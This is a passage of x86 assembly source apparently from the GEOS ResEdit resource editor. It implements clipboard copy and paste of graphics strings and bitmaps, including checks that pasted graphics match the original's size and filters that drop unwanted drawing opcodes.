mov es:[CIH_formats][0].CIFI_format.CIFID_manufacturer, \
MANUFACTURER_ID_GEOWORKS
mov es:[CIH_formats][0].CIFI_format.CIFID_type, CIF_BITMAP
pop es:[CIH_formats][0].CIFI_extra2 ;gstring height
pop es:[CIH_formats][0].CIFI_extra1 ;gstring width
pop es:[CIH_formats][0].CIFI_vmChain.low
pop es:[CIH_formats][0].CIFI_vmChain.high
mov si, size ClipboardItemFormatInfo
mov es:[CIH_formats][si].CIFI_format.CIFID_manufacturer, \
MANUFACTURER_ID_GEOWORKS
mov es:[CIH_formats][si].CIFI_format.CIFID_type, CIF_GRAPHICS_STRING
pop es:[CIH_formats][si].CIFI_extra2 ;bitmap height
pop es:[CIH_formats][si].CIFI_extra1 ;bitmap width
pop es:[CIH_formats][si].CIFI_vmChain.low
pop es:[CIH_formats][si].CIFI_vmChain.high
push es:[CIH_flags]
mov bp, cx
call VMDirty
call VMUnlock ; unlock header block
;
; now, actually put it on the clipboard
; bx:ax = (Transfer VM File):(VM block handle) of header block
;
pop bp
call ClipboardRegisterItem ; (return carry flag)
.leave
ret
CreateTransferItemCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BuildTransferBlockGStringFormat
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a VMChain containig the gstring that is to
be put on the clipboard.
CALLED BY:
PASS: *ds:si - document
ds:di - document
RETURN: ax:bp - VMChain
cx, dx - width, height of gstring
DESTROYED: es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/ 5/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BuildTransferBlockGStringFormat proc near
.enter
mov al, ds:[di].REDI_chunkType
test al, mask CT_GSTRING
jz buildBitmap
call BuildGStringTransferBlock
done:
clr bp ; ax:bp <- VMChain
.leave
ret
buildBitmap:
EC < test al, mask CT_BITMAP >
EC < ERROR_Z BAD_CHUNK_TYPE >
call BuildBitmapTransferBlock
jmp done
BuildTransferBlockGStringFormat endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BuildGStringTransferBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Build a CIF_GRAPHICS_STRING data block.
CALLED BY: INTERNAL - BuildTransferBlockGStringFormat
PASS: *ds:si - document
ds:di - document
al - chunk type
RETURN: ax - VM block containing gstring
cx - gstring width
dx - gstring height
DESTROYED: es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 1/27/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BuildGStringTransferBlock proc near
uses bx,si,di,ds
.enter
;
; lock the item
;
EC < test al, mask CT_GSTRING >
EC < ERROR_Z BAD_CHUNK_TYPE >
call LockCurrentItem ; ds:si <- item
; if this is a moniker, the size of the gstring is cached
; otherwise, we have to figure it out ourselves
;
test al, mask CT_MONIKER
jz notMoniker
push ds:[si].VM_width
add si, offset VM_data
push ds:[si].VMGS_height
sub si, offset VM_data
copy:
;
; now copy the gstring from the moniker structure into
; a temporary VM block
;
call CopyGStringToVMChain ; ax <- VMChain block
call DBUnlock_DS
pop cx, dx ;return gstring width, height
.leave
ret
notMoniker:
; calculate the height and width of the gstring
;
call GetGStringSize
push cx, dx
jmp copy
BuildGStringTransferBlock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BuildBitmapTransferBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Build a VMChain containing bitmap.
CALLED BY: INTERNAL - CopyBitmapCommon
PASS: *ds:si - document
ds:di - document
RETURN: ax - VM block containing gstring which draws bitmap
cx - gstring width
dx - gstring height
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 4/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BuildBitmapTransferBlock proc near
uses bx,si,di,ds
.enter
;
; Lock the bitmap
;
EC < test al, mask CT_BITMAP >
EC < ERROR_Z BAD_CHUNK_TYPE >
call LockCurrentItem ; ds:si <- Bitmap
; save the bitmap's dimensions
;
push ds:[si].B_width, ds:[si].B_height
;
; create a gstring in the translation file to hold the bitmap
;
push si
call ClipboardGetClipboardFile
mov cl, GST_VMEM
call GrCreateGString ; ^hdi = gstring
mov ax, si ; ax = VM block handle
pop si ; ds:si -> bitmap
push ax ; save block handle
clr ax, bx, dx ; draw at 0,0; no callback
call GrDrawBitmap ; draw bitmap to gstring
call GrEndGString
cmp ax, GSET_NO_ERROR
mov si, di
clr di ; no gstate
mov dl, GSKT_LEAVE_DATA
call GrDestroyGString
pop ax ; ax <- VM block holding gstring
call DBUnlock_DS ; unlock the item
pop cx, dx
.leave
ret
BuildBitmapTransferBlock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BuildTransferBlockBitmapFormat
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a VMChain containing the gstring that is to
be put on the clipboard.
CALLED BY: CreateTransferItemCommon
PASS: *ds:si - document
ds:di - document
ax:bp - VMChain of gstring created by
BuildTransferBlockGStringFormat, which was
called just before this
RETURN: ax:bp - VMChain
cx, dx - width, height of gstring
ds - fixed up
DESTROYED: es
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
We'll use the gstring created by
BuildTransferBlockGStringFormat to create a bitmap-
format VMChain.
Why are we doing this? By providing a bitmap-format
to the clipboard, GeoDraw won't expand the grobject
that gets created when the user pastes. The problem
was ResEdit used to use just the gstring format, which
the grobj would expand pasted grobjects by a line
width along all borders. Consequently ResEdit would
not permit the "too large" gstrings to be pasted back
in from GeoDraw (or GeoWrite).
REVISION HISTORY:
Name Date Description
---- ---- -----------
jmagasin 5/12/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BuildTransferBlockBitmapFormat proc near
clipboardFile local word
bitmapObjRsrc local hptr
bitmapWidth local word
bitmapHeight local word
gstring local hptr
uses si,di
push bx
.enter
; Get gstring info.
;
call ClipboardGetClipboardFile ; bx<-vm file handle
mov ss:[clipboardFile], bx
mov si, ax ; source VM block
mov cl, GST_VMEM
call GrLoadGString ; ^hsi <- gstring
mov ss:[gstring], si
clr di,dx
call GrGetGStringBounds
EC < ERROR_C RESEDIT_INTERNAL_ERROR >
sub cx, ax ; cx<-width
sub dx, bx ; dx<-height
mov ss:[bitmapWidth], cx ; (w/h same size for
mov ss:[bitmapHeight], dx ; bm as for gstring)
; Create a VisBitmapClass object.
;
GetResourceHandleNS BitmapTemplate, bx
clr ax, cx
call ObjDuplicateResource ; ^hbx <- duplicate block
mov si, offset BitmapForClipboard ; ^lbx:si <- bitmap object
mov ss:[bitmapObjRsrc], bx
; Have the bitmap object create a bitmap, and get it.
;
mov cx, ss:[clipboardFile]
mov ax, MSG_VIS_BITMAP_SET_VM_FILE
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
push bp
mov cx, ss:[bitmapWidth]
mov dx, ss:[bitmapHeight]
mov bp, ss:[gstring] ; ^hbp <- gstring
mov ax, MSG_VIS_BITMAP_CREATE_BITMAP
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov ax, MSG_VIS_BITMAP_GET_MAIN_BITMAP
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; cx:dx =^vfile:block
pop bp
; Copy the bitmap to a VMChain.
;
push bp
mov bx, cx ; bitmap's src file
mov ax, dx
clr bp ; ax:bp = src VMChain
mov dx, bx ; (dest file = src file)
call VMCopyVMChain ; ax:bp <- dest VMChain
mov cx, bp ; ax:cx = dest VMChain
pop bp
; Cleanup -- rub out the gstring and bitmap object
;
mov si, ss:[gstring]
clr di ; no gstate
mov dl, GSKT_LEAVE_DATA
call GrDestroyGString
mov bx, ss:[bitmapObjRsrc]
call ObjFreeDuplicate
; Prepare for return
;
mov bx, ss:[bitmapWidth]
mov dx, ss:[bitmapHeight]
.leave
mov_tr bp, cx ; ax:bp = VMChain
mov_tr cx, bx ; cx:dx = width:height
pop bx
ret
BuildTransferBlockBitmapFormat endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DocumentClipboardPaste
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User has pasted something.
CALLED BY: UI - MSG_META_CLIPBOARD_PASTE
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of ResEditDocumentClass
ax - the message
RETURN: nothing
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
Paste into selected item at cursor.
Check that pasted item and selected item are of same type.
If not, put up an error dialog.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 1/11/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DocumentClipboardPaste method dynamic ResEditDocumentClass,
MSG_META_CLIPBOARD_PASTE
EC < cmp ds:[di].REDI_curTarget, ST_ORIGINAL >
EC < ERROR_E ORIGINAL_ITEM_NOT_EDITABLE >
; is it quick transfer or not?
;
; mov bp, mask CIF_QUICK
clr bp
call ClipboardQueryItem ; bp should be non-zero
pushdw bxax
tst bp
jz done
test ds:[di].REDI_chunkType, mask CT_TEXT
jz notText
; check if the transfer item is text or not
;
mov cx, MANUFACTURER_ID_GEOWORKS
mov dx, CIF_TEXT
call ClipboardTestItemFormat
mov cx, EV_PASTE_TEXT_WRONG_FORMAT
LONG jc error
; it's text, so pass the paste message on to EditText
;
mov ax, MSG_META_CLIPBOARD_PASTE
call SendToTargetText
done:
popdw bxax
call ClipboardDoneWithItem
ret
notText:
mov dl, ds:[di].REDI_chunkType
mov di, offset PasteGString
test dl, mask CT_GSTRING
jnz getFormat
EC< test dl, mask CT_BITMAP >
EC< ERROR_Z BAD_CHUNK_TYPE >
mov di, offset PasteBitmap
getFormat:
;
; check if there is a gstring transfer
; pass: bx:ax - transfer item header (returned by ClipboardQueryItem)
; this call returns the transfer item:
; bx - file handle of transfer item
; ax:bp - VM chain (0 if none)
; cx - width
; dx - height
;
mov cx, MANUFACTURER_ID_GEOWORKS
mov dx, CIF_GRAPHICS_STRING
call ClipboardRequestItemFormat
tst ax
jnz replaceGraphic
mov cx, EV_PASTE_GRAPHICS_WRONG_FORMAT
jmp error ; no transfer item of format
; replace the old graphic with the new graphic
;
replaceGraphic:
call di
jc errorAX
push ds
mov dx, ax
DerefDoc
mov ds:[di].REDI_transItem, dx
call GetFileHandle ;^hbx <- trans file
mov bp, ds:[di].REDI_resourceGroup
mov ax, ds:[di].REDI_curChunk
call DerefElement ; ds:di <- current element
xchg dx, ds:[di].RAE_data.RAD_transItem
call DBDirty_DS
call DBUnlock_DS
tst dx
jz noOldTransItem
mov ax, bp
mov di, dx ; ax:di <- old trans item
call DBFree
noOldTransItem:
pop ds
call DocumentRedrawCurrentChunk
;
; now enable EditUndo trigger
;
GetResourceHandleNS EditUndo, bx
mov si, offset EditUndo
mov ax, MSG_GEN_SET_ENABLED
mov dl, VUM_NOW
call DocClip_ObjMessage_fixupDS
jmp done
errorAX:
mov_tr cx, ax
error:
mov ax, MSG_RESEDIT_DOCUMENT_DISPLAY_MESSAGE
call ObjCallInstanceNoLock
jmp done
DocumentClipboardPaste endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PasteGString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Paste a scrap into a gstring.
CALLED BY: DocumentClipboardPaste
PASS: *ds:si - document instance data
^hbx - transfer file
ax:bp - transfer item header (returned by ClipboardQueryItem)
cx, dx - gstring width, height
RETURN: carry set if error
ax - ErrorValue
carry clear if successful
ax - new item
DESTROYED: bx, cx, dx, bp, di, es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Load the transfer item from the clipboard into a gstring.
Copy the gstring into another gstring, putting the data in
a chunk in a local resource.
Destroy the original gstring, leaving its data.
Lock the copied gstring, get the chunk's size.
Allocate a DBItem and copy the gstring data into the
DBItem, leaving room for VisMoniker if it is CT_MONIKER.
Destroy the copied gstring, killing its data.
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 1/15/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PasteGString proc near
document local optr push ds:[LMBH_handle], si
gstringChunk local lptr
chunkType local byte
newItem local word
gswidth local word
gsheight local word
.warn -unref_local
oldWidth local word
oldHeight local word
.warn @unref_local
badSize local word ;if the grobj made the gstring
;too big by adding "set_bounds,"
;we'll try to shrink it
;back down to size (see bug 28886)
.enter
mov ss:[badSize], 0
mov ss:[gswidth], cx
mov ss:[gsheight], dx
call CheckGStringCompatibility
jnc sizeOK
mov ss:[badSize], 1 ;size too big or small
sizeOK:
DerefDoc
mov cl, ds:[di].REDI_chunkType
mov ss:[chunkType], cl
; load the gstring to be pasted
;
mov_tr si, ax ; si <- vmem block handle of string
mov cl, GST_VMEM
call GrLoadGString ; ^hsi = source GString
; Create destination GString in DummyResource
;
GetResourceHandleNS DummyResource, bx
push si ;save source GString handle
mov cl, GST_CHUNK
call GrCreateGString ;^hdi <- new gstring to draw to
mov ss:[gstringChunk], si ;^hsi <- chunk holding gstring
pop si
; Copy source GString to destination GString
;
tst ss:[badSize]
jz regularCopy
call CopyGStringWithSizeAdjust
LONG jc sizeMismatch
jmp endGString
regularCopy:
clr dx ;no control flags
call GrCopyGString
cmp dx, GSRT_COMPLETE
endGString:
call GrEndGString ;End the gstring
EC< cmp ax, GSET_NO_ERROR >
; Destroy the source gstring, leaving its data.
;
push di
mov dl, GSKT_LEAVE_DATA
clr di ; no gstate
call GrDestroyGString
pop dx ; ^hdx <- destination gstring
; lock the copied gstring and get its size
;
call MemLock
mov ds, ax
mov si, ss:[gstringChunk]
mov si, ds:[si] ; ds:si <- copied GString
ChunkSizePtr ds, si, cx
test ss:[chunkType], mask CT_MONIKER
jz notMoniker
add cx, MONIKER_GSTRING_OFFSET ; cx <- size to allocate
notMoniker:
; allocate/reallocate a transItem, lock it, and get the
; item's moniker type
;
push cx, si
movdw bxsi, ss:[document]
call AllocAndLockItemAndGetMonikerType ;es:di <- item, cx DBItem
mov ss:[newItem], cx
pop cx, si
mov ax, ss:[oldWidth] ; same as gswidth/height
mov bx, ss:[oldHeight]
test [chunkType], mask CT_MONIKER
jz copy
mov es:[di].VM_width, ax
add di, offset VM_data
mov es:[di].VMGS_height, bx
sub di, offset VM_data
mov al, ss:[chunkType]
mov es:[di].VM_type, al
add di, MONIKER_GSTRING_OFFSET
sub cx, MONIKER_GSTRING_OFFSET ; cx <- size of gstring alone
copy:
rep movsb
call DBUnlock ; unlock the new item
GetResourceHandleNS DummyResource, bx
call MemUnlock ; unlock the gstring
; Destroy the destination gstring and kill its data
;
mov si, dx ;SI <- gstring to kill
clr di ;DI <- GState = NULL
mov dl, GSKT_KILL_DATA
call GrDestroyGString
mov ax, ss:[newItem]
clc
derefAndExit:
movdw bxsi, ss:[document]
call MemDerefDS
.leave
ret
sizeMismatch:
call DestroySourceAndDestGStrings
mov ax, EV_GSTRING_WRONG_SIZE
stc
jmp derefAndExit
PasteGString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckGStringCompatibility
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check that gstring being pasted is the same size
as the original.
CALLED BY: PasteGString only
PASS: *ds:si - document
ss:bp - inherited locals
RETURN: carry set if not compatible
Might be set if the gstring is too
big, possibly b/c the grobj set the
bounds of the gstring, increasing them
by line width
PasteGString will then try to shrink the gstring
to its proper size.
fills in oldWidth and oldHeight of caller with width
and height of original gstring
DESTROYED: ax,di,es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/14/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckGStringCompatibility proc near
uses ax,bx,cx,dx,si
.enter inherit PasteGString
push ds:[LMBH_handle]
DerefDoc
call GetFileHandle
push ds:[di].REDI_resourceGroup
mov ax, ds:[di].REDI_curChunk
call DerefElement ; ds:di <- ResArrayElement
mov cl, ds:[di].RAE_data.RAD_chunkType
mov di, ds:[di].RAE_data.RAD_origItem
call DBUnlock_DS
pop ax
call DBLock
mov di, es:[di]
test cl, mask CT_MONIKER
jz okay
checkSize::
mov ax, es:[di].VM_width
mov ss:[oldWidth], ax
add di, offset VM_data
mov cx, es:[di].VMGS_height
mov ss:[oldHeight], cx
cmp cx, ss:[gsheight]
jne notCompatible
cmp ax, ss:[gswidth]
jne notCompatible
okay:
clc
done:
call DBUnlock
pop bx
call MemDerefDS
.leave
ret
notCompatible:
stc
jmp done
CheckGStringCompatibility endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CopyGStringWithSizeAdjust
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copies the passed source gstring to the destination
gstring, but also adjusts the width and height of the
destination by filtering out any GR_SET_GSTRING_BOUNDS
opcodes. If the filtered gstring still isn't the
right size, carry is returned set.
Remedy for bug 28886.
CALLED BY: PasteGString
PASS: si - source gstring
di - destination gstring
RETURN: carry - set if filtered gstring is still wrong size
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
This routine gives a second chance to a gstring whose size
does not match the size of the original gstring. The reason
we don't give the second chance in CheckGStringCompatibility
is that we need to create another, filtered, gstring to check
its size. The code for creation is in PasteGString, so we use
it and reject the filtered gstring, if necessary, here.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jmagasin 5/10/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CopyGStringWithSizeAdjust proc near
uses cx,dx
.enter inherit PasteGString
;
; Filter out GR_SET_BOUNDS
;
mov cx, offset FilterSetBounds
call CopyGStringWithFilter
cmp cx, ss:[oldWidth]
jne error
cmp dx, ss:[oldHeight]
jne error
clc ; Hey! A match!
done:
.leave
ret
error:
stc
jmp done
CopyGStringWithSizeAdjust endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CopyGStringWithFilter
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copies the source gstring to the destination gstring,
filtering op_codes specified by the passed filter
routine. Returns the width and height of the filtered
destination.
CALLED BY: CopyGStringWithSizeAdjust, CheckBitmapSizeCompatible
PASS: si - source gstring
di - destination gstring
cx - offset to filter routine, which
returns zf clear if op_code in cl passes
and GSRetType in dx pass through the
filter. zf set if this element should be
skipped
RETURN: cx - filtered width
dx - filtered height
di - destination gstring, now filtered
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jmagasin 5/11/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CopyGStringWithFilter proc near
uses ax,bx,si,di,bp
.enter
; Filter out undesirable op-codes.
;
mov bx, cx ; save filter
mov bp, di ; save dest gstring
jmp doNextElement
advancePos:
mov al, GSSPT_SKIP_1
call GrSetGStringPos
doNextElement:
clr cx ; just want op-code
clr di ; no gstate
call GrGetGStringElement ; al<-op-code
mov di, bp ; recall destination
cmp al, GR_END_GSTRING
je doneFiltering
call bx ; zf set if filtered
je advancePos ; Skip this element.
mov dx, mask GSC_ONE
call GrCopyGString ; copy
cmp dx, GSRT_COMPLETE
je doneFiltering
jmp doNextElement
; Get size of filtered gstring.
;
doneFiltering:
call GrEndGString ; End our new source gstring
EC < cmp ax, GSET_NO_ERROR >
EC < ERROR_NE RESEDIT_INTERNAL_ERROR >
mov si, di
clr di,dx
call GrGetGStringBounds
EC < ERROR_C RESEDIT_INTERNAL_ERROR >
sub cx, ax ; filtered width
sub dx, bx ; filtered height
.leave
ret
CopyGStringWithFilter endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FilterSetBounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Accepts all elements except GR_SET_GSTRING_BOUNDS.
CALLED BY: CopyGStringWithFilter via CopyGStringWithSizeAdjusted
PASS: al - op-code
RETURN: zf - set if opcode *is* GR_SET_GSTRING_BOUNDS and
thus should *not* be copied
- clr if this element may be copied
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jmagasin 5/11/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FilterSetBounds proc near
.enter
cmp al, GR_SET_GSTRING_BOUNDS
.leave
ret
FilterSetBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FilterAllButDrawBitmap
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Rejects all opcodes except GR_DRAW_BITMAP.
CALLED BY: CopyGStringWithFilter via CheckBitmapSizeCompatible
PASS: al - op-code
RETURN: zf - set if opcode is *not* GR_DRAW_BITMAP and
thus should *not* be copied
- clr if this op-code is GR_DRAW_BITMAP, so ok
to copy
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jmagasin 5/11/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FilterAllButDrawBitmap proc near
uses ax
.enter
cmp al, GR_DRAW_BITMAP
lahf
xor ah, mask CPU_ZERO
sahf
.leave
ret
FilterAllButDrawBitmap endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DestroySourceAndDestGStrings
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroys the passed source and destination gstrings.
Source's data is left. Destination's data is killed.
CALLED BY: PasteGString, CheckBitmapSizeCompatible
PASS: si - source gstring
di - destination gstring
RETURN: nothing
DESTROYED: si,di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jmagasin 5/11/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DestroySourceAndDestGStrings proc near
uses dx
.enter
push di ;save dest
clr di
mov dl, GSKT_LEAVE_DATA
call GrDestroyGString ;kill source
pop si
mov dl, GSKT_KILL_DATA
call GrDestroyGString ;kill dest
.leave
ret
DestroySourceAndDestGStrings endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PasteBitmap
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: paste a bitmap
CALLED BY: DocumentClipboardPaste
PASS: *ds:si - document instance data
^hbx - transfer file
ax:bp - transfer item header (returned by ClipboardQueryItem)
cx, dx - gstring width, height
RETURN: carry set if error
ax - ErrorValue
carry clear if successful
ax - new item
DESTROYED: ax,bx,es
PSEUDO CODE/STRATEGY:
Use a VisBitmap object to turn the transfer gstring into a
HugeBitmap, from which we can extract a simple bitmap.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 4/ 9/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PasteBitmap proc near
document local optr push ds:[LMBH_handle], si
bitmapVM local dword
sourceGString local hptr
.enter
call CheckBitmapCompatibility ; al = format, cx:dx=width,height
; ^hsi = loaded source gstring
LONG jc sizeMismatch
mov ss:[sourceGString], si
;
; Pass the format, widht and height as returned by
; CheckBitmapCompatibility above.
;
clrdw disi ; no object get MSG_META_EXPOSED
call GrCreateBitmap ; ^vbx:ax <- bitmap
movdw ss:[bitmapVM], bxax
;
; simple bitmaps are always 72 dpi
;
mov ax, 72
mov bx, 72
call GrSetBitmapRes
;
; Set the color map mode to pattern, writing to a black
; background.
;
mov al, CMT_DITHER
call GrSetAreaColorMap
call GrSetLineColorMap
call GrSetTextColorMap
mov si, ss:[sourceGString] ; ^hsi <- string to draw
clr ax, bx, dx
call GrDrawGString
EC< cmp dx, GSRT_COMPLETE >
push di
clr di ;di <- GState = NULL
mov dl, GSKT_KILL_DATA ;*NOT* killing the
;clipboard item.
;Killing the filtered
;copy.
call GrDestroyGString
pop di ;di <- bitmap's gstate
mov si, ss:[document].chunk
movdw bxax, ss:[bitmapVM]
call HugeBitmapToSimpleBitmap ; ax <- new item
push ax
mov al, BMD_KILL_DATA
call GrDestroyBitmap
pop ax
clc
derefAndExit:
movdw bxsi, ss:[document]
call MemDerefDS
.leave
ret
sizeMismatch:
mov ax, EV_GSTRING_WRONG_SIZE
jmp derefAndExit
PasteBitmap endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckBitmapCompatibility
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check that bitmap being pasted is the same size
as the original.
CALLED BY: PasteBitmap
PASS: *ds:si - document
cx:dx - width, height of transfer item
(although no longer used for comparison)
^hbx - transfer file
ax - transfer item
RETURN: carry set if not compatible
al - format
cx:dx - width, height of original bitmap
^hsi - source gstring if carry clear
DESTROYED: di,es
PSEUDO CODE/STRATEGY:
We make this routine load and return the source gstring
so that the caller won't have to worry about whether the
transfer item size didn't match, causing a filtered gstring to
be created.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/14/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckBitmapCompatibility proc near
.enter
; Get the attributes of the original bitmap
;
push bx
mov di, ax ; save item
call GetFileHandle ; al <- format; cx:dx <- width, height
call GetBitmapFormat
pop bx
; Regardless of size, need to filter out all but GR_DRAW_BITMAP.
;
call CheckBitmapSizeCompatible ;cf set if not compat.
.leave
ret
CheckBitmapCompatibility endp
